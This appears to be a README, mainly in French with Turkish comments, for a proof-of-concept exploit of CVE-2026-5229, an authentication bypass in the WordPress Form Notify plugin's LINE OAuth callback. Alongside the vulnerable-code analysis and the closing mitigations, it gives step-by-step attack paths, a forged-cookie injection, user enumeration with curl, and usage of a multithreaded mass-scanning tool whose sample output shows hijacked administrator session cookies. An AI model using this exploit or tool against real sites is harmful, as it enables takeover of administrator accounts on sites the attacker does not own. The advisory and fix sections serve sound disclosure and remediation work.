
CVE-2026-5229: Contournement de l'authentification Form Notify via le callback OAuth LINE (CVSS 9.8)
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
Plugin: Form Notify (
form-notify) Type de vulnérabilité : Unauthenticated LINE OAuth Authentication Bypass → Account Takeover Score CVSS : 9.8 (Critique) Vecteur CVSS :CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVersions affectées : <= 1.1.10 Version corrigée : 1.1.11+ Chercheur : Paolo Tresso — Wordfence
Le plugin Form Notify est un plugin WordPress qui envoie des notifications après la soumission de formulaires et propose une intégration LINE Login OAuth 2.0.
La vulnérabilité se situe dans le gestionnaire de callback OAuth de LINE. Une fois que l'utilisateur a terminé le flux d'autorisation LINE, le plugin résout le compte WordPress uniquement en fonction de l'adresse email. Il ne vérifie jamais si le compte LINE a déjà été associé à ce compte WordPress.
| Version | Vulnérabilité | Méthode d'attaque |
|---|---|---|
| <= 1.1.08 | Injection de cookie + Correspondance email | Chemin A ou Chemin B |
| 1.1.09 – 1.1.10 | Correspondance email (cookie supprimé) | Chemin B |
| 1.1.11+ | Corrigé | — |
L'endpoint de callback OAuth LINE est enregistré comme étant entièrement public :
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
Les nonces WordPress sont des jetons CSRF, pas des jetons d'authentification. Chaque visiteur peut obtenir un nonce valide depuis le HTML de la page et réussir le contrôle de vérification.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
Si une correspondance est trouvée, la méthode login() ouvre immédiatement une session :
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Lorsque le profil LINE ne renvoie pas d'email ($user->email vide), le plugin lit directement le cookie du navigateur. L'attaquant contrôle entièrement ce cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Si la transient a expiré, le repli sur $_SESSION prend le relais. Dans la plupart des installations WordPress, $_SESSION n'est pas rempli à ce stade → le contrôle du state peut être contourné.
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
Sur les comptes créés via le flux OAuth LINE, le mot de passe est identique à l'adresse email. Cela permet directement une attaque par force brute ou par connexion.
⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.
Prérequis :
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
Ouvre les outils de développement du navigateur et colle dans la console :
document.cookie = "[email protected]; path=/";
Ou avec curl :
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Ouvre l'URL OAuth LINE présente dans le header Location dans le navigateur.
Sur l'écran de consentement LINE, n'accorde pas l'autorisation email, ou utilise un compte LINE sans email. LINE redirige vers le callback sans email. Le plugin retombe sur le cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Réponse attendue :
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Identique à l'étape 1 du chemin A.
Crée un compte LINE avec l'email cible sur account.line.biz. (Nécessite une vérification email — l'accès à la boîte de réception cible est indispensable.)
https://target.com/wp-json/form-notify/v1/login
Sur l'écran de consentement LINE, accorde l'autorisation email. LINE renvoie l'adresse email au callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Hedef Email : [email protected]
Sürüm : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Kullanıcı : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama)
Hedef Email : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif değil)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
Exemple de résolution de compte sécurisée :
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Cet outil et cette preuve de concept ont été préparés pour être utilisés uniquement sur des systèmes autorisés, à des fins éducatives et dans le cadre de tests d'intrusion. Leur utilisation sur des systèmes non autorisés constitue une infraction au regard des articles 243 à 245 du Code pénal turc et des lois internationales sur la cybercriminalité. Le développeur décline toute responsabilité légale découlant d'une mauvaise utilisation de l'outil.
MIT License — Uniquement à des fins éducatives et de recherche.
| Raison | Description |
|---|
| Aucune authentification requise | L'endpoint de callback est entièrement public |
| Aucun contrôle de liaison | N'importe quel compte LINE suffit |
| Attaque par cookie | Email même pas nécessaire sur <= 1.1.08 |
| Tous les comptes, y compris admin | get_user_by('email') affecte tout le monde |
| Contrôle du state faible | La protection CSRF peut être contournée |
| Email = Mot de passe | Les comptes créés via OAuth sont vulnérables à une force brute triviale |
| Paramètre | Court | Description | Défaut |
|---|
--url | -u | URL de cible unique | — |
--list | -l | Fichier de liste de cibles | — |
--threads | -t | Nombre de threads | 10 |
--output | -o | Fichier de sortie | auth_bypass.txt |
--email | — | Email de l'utilisateur cible | découverte automatique |
--path | — | Chemin d'attaque (A / B / both) | both |
--max-users | — | Max d'utilisateurs par cible | 5 |
--proxy | — | URL du proxy | — |
--timeout | — | Délai d'expiration de la requête (s) | 10 |
| Statut | Description |
|---|
★ AUTH OK | Cookie de session obtenu — entièrement automatique |
★ WP-ADMIN | Redirigé vers /wp-admin |
~ MANUAL | URL OAuth prête, à compléter dans le navigateur |
~ PATH B | Étapes manuelles avec un compte LINE |
- NO_PLUGIN | Form Notify n'est pas installé |
- NO_LINE | LINE Login n'est pas actif |
~ NO_TARGET | Email d'utilisateur introuvable |
~ UNREACH | Cible inaccessible |
| Mesure | Mise en œuvre |
|---|
| Mise à jour du plugin | Mettre à niveau vers Form Notify 1.1.11+ |
| Contrôle de liaison LINE | Enregistrer l'ID LINE dans les métadonnées utilisateur, vérifier à chaque connexion |
| Supprimer le repli cookie | Retirer l'utilisation de $_COOKIE['form_notify_line_email'] |
| Validation du state | Retirer le repli transient, rejeter les state expirés |
| Politique de mot de passe | Ne pas utiliser l'email comme mot de passe dans sign_up() |
| Protection de l'endpoint REST | Appliquer un rate limiting à l'endpoint de callback |